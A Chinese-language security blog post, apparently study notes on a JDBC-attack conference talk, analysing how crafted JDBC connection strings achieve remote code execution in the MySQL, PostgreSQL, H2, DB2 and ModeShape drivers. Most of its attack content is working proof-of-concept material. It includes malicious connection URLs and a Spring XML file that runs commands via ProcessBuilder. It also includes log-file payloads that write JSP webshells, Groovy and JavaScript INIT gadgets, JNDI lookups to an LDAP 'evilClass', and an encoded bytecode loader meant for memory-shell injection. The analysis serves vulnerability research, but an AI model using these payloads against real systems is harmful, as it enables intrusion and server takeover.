Java安全之JDBC Attacks学习记录
Java安全之JDBC Attacks
写在前面
很早就看到了Make JDBC Attacks Brilliant Again
议题,一直想分析学习下,但是太懒。
MySQL
原理概述
"扩展参数" 就是本次导致安全漏洞的一个重要的部分。
Mysql JDBC 中包含一个危险的扩展参数: ”autoDeserialize“。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,这就产生了 RCE。
此时如果攻击者作为 MYSQL 服务器的角色,给客户端返回了恶意的序列化数据,客户端就会自动反序列化触发恶意代码,造成漏洞。
简单说一下流程,主要是用到两类参数
- 自动检测与反序列化存在BLOB字段中的对象。 autoDeserialize
- 触发反序列化
- queryInterceptors,一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。
- detectCustomCollations
通过ServerStatusDiffInterceptor
或detectCustomCollations
触发查询语句SHOW SESSION STATUS
、SHOW COLLATION
等,并调用resultSetToMap
处理数据库返回的结果,而当autoDeserialize
为true时会对server中返回的结果进行反序列化,从而造成代码执行
Driver:
- mysql-connector-java 5.x: com.mysql.jdbc.Driver
- mysql-connector-java 8.x: com.mysql.cj.jdbc.Driver
调试分析
queryInterceptors
测试代码
public static void main(String[] args) {
try{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}catch (Exception e){
}
}
跟进到mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrl#getConnectionUrlInstance
方法
首先在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#parseConnectionString
方法内解析jdbc串
返回的是ConnectionUrlParser
对象,具体如下
继续往下看
在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#processKeyValuePattern
循环解析Properties并添加到kvMap中,之后赋值给ConnectionUrlParser.parsedProperties
字段
在ConnectionImpl#setAutoCommit
会赋值sql语句SET autocommit=1
在ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
会去数据库执行查询SHOW SESSION STATUS
,跟进ResultSetUtil.resultSetToMap(toPopulate, rs);
其中调用getObject,逻辑如下,先判断传说的数据流,这里走的是BLOB
不过BIT
好像也会反序列化,序列化数据存储在this.thisRow
中
第二个元素
最后就是java原生的反序列化了
堆栈
readObject:431, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:21, Attack8x (org.su18.jdbc.attack.mysql.serverstatus)
detectCustomCollations
简单看一下,调用点在mysql-connector-java-5.1.19.jar!/com/mysql/jdbc/ConnectionImpl#buildCollationMapping
后面依旧是resultSetToMap
中调用了getObject
触发反序列化
堆栈
readObject:431, ObjectInputStream (java.io)
getObject:4984, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:506, Util (com.mysql.jdbc)
buildCollationMapping:963, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3445, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2437, ConnectionImpl (com.mysql.jdbc)
createNewIO:2207, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:22, Attack511x (org.su18.jdbc.attack.mysql.customcollations)
小结
简单小结一下,各个小版本间可利用的payload可以参考下面fnmsd师傅的图
autoDeserialize=true 使JDBC 客户端将会自动反序列化服务端返回的数据,这个过程通过getObjec方法触发
但默认情况下不会自动触发getObject,所以需要一个触发点
目前公开的有2种
- 拦截器queryInterceptors
"queryInterceptors" 参数可以指定接口 com.mysql.cj.interceptors.QueryInterceptor 的子类,通过名字可以看到,这是一个起到”拦截器“作用的类。在这些拦截器的实现类中,可以修改或增强语句的某些子级所做的处理,例如自动检查 memcached 服务器中的查询数据、重写慢速查询、记录有关语句执行的信息,或将请求路由到远程服务器。总体来说,这是一个为查询提供自动化增强功能的参数。ServerStatusDiffInterceptor 用于显示在查询之间服务器状态的差异,preProcess()/postProcess() 调用 populateMapWithSessionStatusValues()方法。
populateMapWithSessionStatusValues() 使用已经建立的 connection 创建并执行了一个新的语句 SHOW SESSION STATUS,并调用 ResultSetUtil.resultSetToMap() 处理返回结果。
resultSetToMap 中调用了之前我们提到的 getObject() 方法,连成了一条调用链。
queryInterceptors ==> ServerStatusDiffInterceptor
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- detectCustomCollations
detectCustomCollations ==> detectCustomCollations=true
PostgreSQL
同理PostgreSQL的property也存在安全问题CVE-2022-21724
在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
这里主要记录两个点
- socketFactory / socketFactoryArg 等property调用有参构造触发的RCE
- loggerLevel / loggerFile 日志功能写文件
网上分析文章一大堆,之前也调试过,这次就简单记录一些点。
socketFactory/socketFactoryArg
有公开的一个poc,详情见
https://github.com/advisories/GHSA-v7wg-cpwc-24m4
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
测试代码
public class AttackPgsqlsocketFactory {
public static void main(String[] args) throws Exception {
String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}
调试分析
首先在Driver#parseURL
方法内是对jdbc字符串的处理,以indexof?
作为分割符,拿到properties参数,后续将结果保存为Properties
对象返回
后续关注对socketFactory
这个Property的处理即可,跟进到SocketFactoryFactory#getSocketFactory
方法。
先从前面解析jdbc串时 return的Properties
对象中,获取socketFactory
的类名,也就是org.springframework.context.support.ClassPathXmlApplicationContext
之后调用instantiate
对其实例化处理,也是漏洞触发点,其中包含了PGProperty.SOCKET_FACTORY_ARG.get(info)
的步骤
这里是一个任意类实例化的点,可以调用只有1个入参,参数类型为String的有参构造进行实例化
堆栈
instantiate:45, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:18, AttackPgsqlsocketFactory (me.zh1z3ven.jdbc.attack)
关于Pgsql的Properties其实可以看PGProperty.class
里面都有对应的解释说明
在审计时可以将对应环境的classpath中的class拿出来通过静态分析工具去跑符合条件的类,说不准可以跑出不用出网的gadget
loggerLevel/loggerFile
poc
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp
driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123
这个点不算复杂的,是log功能写文件,只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理
这里构造数据包时可以通过unicode编码shell内容=
来进行shell写入,通过本身代码逻辑,让=
截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以,只要让=
第一次出现的位置位于shell内容后面或者shell内容中不存在会让URLDecoder.decode
抛异常的字符即可。
例如
<%! \uxxx\uxxx%><%\uxxx%>
H2
h2配置
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的
除此之外ppt中给出了3条gadget
分别有不同的限制,RUNSCRIPT需要出网加载sql,groovy需要本地存在groovy依赖,那么看下来js是限制条件比较少的一个
简单跟了下h2的处理逻辑
抛开初始化部分,在h2-1.4.199.jar!/org/h2/engine/Engine#openSession
开始进入jdbc连接串的处理,预处理时主要是初始化jdbc相关的信息,最终保存在ConnectionInfo
对象内,而走入executeUpdate
方法逻辑内后开始真正执行一些sql语句,恶意的sql为漏洞的触发点,而Litch1师傅给出的三条gadget也是分别从sql入手的 RUNSCRIPT/CREATE ALIAS/CREATE TRIGGER
三条gadget入口点都是INIT
这个properties,重点关注h2对其的处理即可。
RUNSCRIPT
poc
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
调试分析
看到h2-1.4.199.jar!/org/h2/command/dml/RunScriptCommand#update
方法,跟进this.openInput()
该方法去读去远端文件,将文件内容赋值给this.in
拿到sql语句后进入FunctionAlias.newInstanceFromSource
开始处理
略过一些初始化,中间去判断了是否为groovy脚本等判断,之后进入h2-1.4.199.jar!/org/h2/engine/FunctionAlias#JavaMethod
来构造一个JavaMethod
对象,对象结构如下
之后跟进RunScriptCommand#this.execute()
最终在FunctionAlias$JavaMethod#getValue
执行代码,可以看出底层也是反射去调用执行的
堆栈如下
exec:347, Runtime (java.lang)
shellexec:6, EXEC (org.h2.dynamic)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:460, FunctionAlias$JavaMethod (org.h2.engine)
getValue:40, JavaFunction (org.h2.expression.function)
query:64, Call (org.h2.command.dml)
execute:77, RunScriptCommand (org.h2.command.dml)
update:58, RunScriptCommand (org.h2.command.dml)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:23, AttackH2ByRunScript (org.su18.jdbc.attack.h2)
Groovy+CREATE ALIAS
Poc
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("open -a Calculator")})def x'
调试分析
通过ASTTest调用assert执行groovy代码
跟进到h2-1.4.199.jar!/org/h2/util/SourceCompiler#getClass
方法,方法内逻辑很多,先只看groovy部分
其中通过sql语句是否startsWith
为//groovy
或@groovy
来判断是否为groovy表达式
private static boolean isGroovySource(String var0) {
return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}
而这里的Compiler
为GroovyCompiler
,后续调用parseClass
来执行groovy表达式
堆栈
exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:1, Script1
evaluate:427, GroovyShell (groovy.lang)
evaluate:461, GroovyShell (groovy.lang)
evaluate:436, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:114, ASTTestTransformation$1 (org.codehaus.groovy.transform)
lambda$compile$15:640, CompilationUnit (org.codehaus.groovy.control)
accept:-1, 1026055550 (org.codehaus.groovy.control.CompilationUnit$$Lambda$25)
ifPresent:159, Optional (java.util)
compile:640, CompilationUnit (org.codehaus.groovy.control)
doParseClass:389, GroovyClassLoader (groovy.lang)
lambda$parseClass$3:332, GroovyClassLoader (groovy.lang)
provide:-1, 482082765 (groovy.lang.GroovyClassLoader$$Lambda$4)
compute:163, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
getAndPut:154, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
parseClass:330, GroovyClassLoader (groovy.lang)
parseClass:314, GroovyClassLoader (groovy.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callMethod:536, Utils (org.h2.util)
callMethod:513, Utils (org.h2.util)
parseClass:509, SourceCompiler$GroovyCompiler (org.h2.util)
getClass:139, SourceCompiler (org.h2.util)
getMethod:234, SourceCompiler (org.h2.util)
loadFromSource:130, FunctionAlias (org.h2.engine)
load:118, FunctionAlias (org.h2.engine)
init:105, FunctionAlias (org.h2.engine)
newInstanceFromSource:97, FunctionAlias (org.h2.engine)
update:53, CreateFunctionAlias (org.h2.command.ddl)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2)
JavaScript+CREATE TRIGGER
poc
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
调试分析
略过一些初始化的步骤,h2主要通过ConnectionInfo
存储jdbc连接串等数据
跟进到h2-1.4.199.jar!/org/h2/engine/Engine#openSession
,前面会将参数跟进init
进行处理
会处理成如下格式
跟进var22.executeUpdate(false)
h2-1.4.199.jar!/org/h2/command/Parser#parse
中会将jdbc串进行解析,
CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")'
变为
//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
sink点在:
TriggerObject#loadFromSource
方法,首先SourceCompiler.isJavaxScriptSource(this.triggerSource)
以//javascript
或#ruby
来判断是js还是ruby语法
是js则之后调用eval执行js代码
执行任意字节码
尝试构造执行任意字节码的payload
H2对于init的格式化处理在ConnectionInfo#readSettingsFromURL
中,部分逻辑如下
跟进 arraySplit
其中可以看到,对于一些特殊字符可以通过\
来进行转义,因为h2在parse jdbc字符串的时候是通过;
分号进行分割properties的,而js中会经常用到;
所以这里可以通过\;
来保证不错误解析我们的jdbc串。
而js语句需要拼接到sql中,sql是通过'
单引号包裹的,这里我们还需要把js中的'
改成"
。
测试base64的会抛异常,用woodpecker JExpr表达式生成插件的JS-BigInteger
可以正常食用,弹计算器payload如下:
String javascript = "//javascript\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader()\\;try{classLoader.loadClass(\"calc\").newInstance()\\;}catch (e){var clsString = classLoader.loadClass(\"java.lang.String\")\\;var bytecodeRaw = \"-5d0gv4aq1you8hawg2mpj9nktafb7tljy9bnbegiqsk808saabml7o3t292jac7i00g0728emolez6qs5k67no20hcir24qej6cwew6q09vwz5h9ydgv5lvhjuvabg6wg002x1wqucoc39whhg24i78rx95tfa7l4nxfk82v4vrhf8u47iss5as2z8nobqrr3os83kw253hd6yp7d6r69nukbn6eak5t561zempt8ic4i629qxwgg1yz98bvudk51jtwlji4rkpdsrqw63s3uq6skp4p6ghpd2gbw5ffb0n360re4s9e93l8jdu9hvr3slymqtt6w3dte1hrtz4jqmbwacxqvs2as2fojc6z6f9ramext15bqmqzccc8hweetz2e4ieeh13cjnl5lgec233xa40opzux1ullqtao1yedmj8y36taohdze4fgz8in9d1wm5avr4813tyg619hsga52or3n1n0i7ty6ly03777911d8g6dm2uzdb027awrhk9ph1mr5zri0j1jy6tzc6zy9y0h1o6qcoirl27fygukbdlqmu919tau2nd8kpt8gjaa70j4pduw3f74kplqujyh00bg2djvmaqv8by6htrm8vp4wsi3ktnlhddi4mxqfj34uwo0uozu9asg3sh9gevokmehh81gyxogy84eo0sd6p4rkhmx1wyqktm18u0iswb16bh272kl7f4w7zyhwnm48pwxgvb6m9h2kso2rnjukhc7mbe2fa9j2u3gj0dir7xferg1mxq26hcm2ihpkrhksfm535p9nimslh6q0ijn0ogwdzk91vf8b08n7ai4y13subxd4zrtvgq5e3q8mmlcyfulm6\"\\;var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray()\\;var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\")\\;var clsByteArray = \"a\".getBytes().getClass()\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt)\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}";
burp发包时注意\n
是回车,而不要直接在参数处输入字符\n
需要用%0a
,其他字符也url编码即可,且同一个类貌似只能加载一次。
注入内存马的包可能不会回显header,正常会报cannot be cast to org.h2.api.Trigger
异常,这些属于正常情况不用管。
IBM DB2
poc
jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;
该property可以导致jndi
在此不搬运了,ppt中给出了详细的流程和sink点
ModeShape
通过jcr api可以触发jndi,同DB2,也是个jndi的利用
jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass
derby因为没怎么遇到过,SQLite利用成本高,(主要是我懒)在此不做分析
Reference
《Make JDBC Attacks Brilliant Again》议题
结语
厦门茉莉花的花语是:天天开心
Java安全之JDBC Attacks学习记录的更多相关文章
- Java 静态内部类与非静态内部类 学习记录.
目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...
- java开源项目之IQQ学习记录之项目环境搭建与启动
本文链接地址:http://blog.csdn.net/sushengmiyan/article/details/18779727 作者:sushengmiyan 现在就码字说说今天晚上搞定的一个项目 ...
- 《Java程序设计》第二周学习记录(2)
目录 3.1 运算符与表达式 3.3 if条件分支语句 3.7 for语句与数组 参考资料 3.1 运算符与表达式 和C语言基本上没有区别,要注意的是关系运算符的输出结果是bool型变量 特别要注意算 ...
- 《Java程序设计》第二周学习记录(1)
目录 第2章 基本数据类型与数组 2.1 标识符与关键字 2.2 基本数据类型 2.3 类型转换运算 2.4 输入.输出数据 2.5 数组 参考资料 第2章 基本数据类型与数组 2.1 标识符与关键字 ...
- 《Java程序设计》第一周学习记录(2)
目录 使用JDB调试程序 系统文件被覆盖的挽救 参考资料 使用JDB调试程序 JDB是JDK自带的基于命令行的调试程序.我们先来man一下吧(说到这里,我之前在翻娄老师的博客的时候看到一篇文章:做中学 ...
- 《Java程序设计》第一周学习记录(1)
目录 Windows安装JDK.Git Linux下安装JDK.Git.IDEA 参考资料 Windows安装JDK.Git 到官网直接下载JDK,双击安装程序就正常安装就行了. 下载完以后,可以看到 ...
- java开源项目之IQQ学习记录之单例模式与log4j日志记录
作者:sushengmiyan 本文地址:http://blog.csdn.net/sushengmiyan/article/details/18992741 打开IQQ项目,打开包iqq.app中的 ...
- JAVA基础语法 我的学习记录
1.标识符 Java所有的组成部分都需要名字.类名.变量名以及方法名都被称为标识符. 关于Java标识符,有以下几点需要注意: 所有的标识符都应该以字母(A-Z或者a-z),美元符($).或者下划线( ...
- 20175211 2018-2019-2 《Java程序设计》第二周学习总结
目录 教材学习内容总结 第二章 第三章 教材学习中的问题和解决过程 代码调试中的问题和解决过程 代码托管 上周考试错题总结 其他(感悟.思考等,可选) 学习进度条 参考资料 教材学习内容总结 第二章 ...
- MYSQL的Java操作器——JDBC
MYSQL的Java操作器--JDBC 在学习了Mysql之后,我们就要把Mysql和我们之前所学习的Java所结合起来 而JDBC就是这样一种工具:帮助我们使用Java语言来操作Mysql数据库 J ...
随机推荐
- 学生管理系统(C语言简单实现)
仅供借鉴.仅供借鉴.仅供借鉴(整理了一下大一C语言每个章节的练习题.没得题目.只有程序了) 文章目录 1 .实训名称 2.实训目的及要求 3. 源码 4.实验小结 1 .实训名称 实训12:文件 2. ...
- MasaFramework -- 缓存入门与设计
概念 什么是缓存,在项目中,为了提高数据的读取速度,我们会对不经常变更但访问频繁的数据做缓存处理,我们常用的缓存有: 本地缓存 内存缓存:IMemoryCache 分布式缓存 Redis: Stack ...
- 2流高手速成记(之五):Springboot整合Shiro实现安全管理
废话不多说,咱们直接接上回 上一篇我们讲了如何使用Springboot框架整合Nosql,并于文章最后部分引入了服务端Session的概念 而早在上上一篇中,我们则已经讲到了如何使用Springboo ...
- el-scrollbar 监测滚动条
export function processScroll (_this) { let _self = _this let scrollbarEl = _this.$parent.wrap ...
- Java安全之动态加载字节码
Java字节码 简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令. 由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自 ...
- js高级之函数高级部分
基于尚硅谷的尚硅谷JavaScript高级教程提供笔记撰写,加入一些个人理解 github源码 博客下载 原型与原型链 prototype : 显式原型属性,它默认指向一个Object空对象(即称为: ...
- 【题解】CF1722F L-shapes
题面传送门 其实这题根本不用搜索,有耐心即可. 可以发现,在 \(n\times m\) 范围内扫,可能合法的只有以下四种情况,其中蓝色代表示是 *,红色表示不能是 *,其中黄色五角星表示当前 \(i ...
- 【题解】CF1215C Swap Letters
题面传送门 解决思路 首先容易得知,两个字符串中 \(b\)(或 \(a\)) 的个数为偶数时,一定有解.为奇数则一定无解. 其次考虑怎么交换.对照样例三: in: 8 babbaabb ababab ...
- netty系列之:来,手把手教你使用netty搭建一个DNS tcp服务器
目录 简介 搭建netty服务器 DNS服务器的消息处理 DNS客户端消息请求 总结 简介 在前面的文章中,我们提到了使用netty构建tcp和udp的客户端向已经公布的DNS服务器进行域名请求服务. ...
- 2022-11-13 Acwing每日一题
本系列所有题目均为Acwing课的内容,发表博客既是为了学习总结,加深自己的印象,同时也是为了以后回过头来看时,不会感叹虚度光阴罢了,因此如果出现错误,欢迎大家能够指出错误,我会认真改正的.同时也希望 ...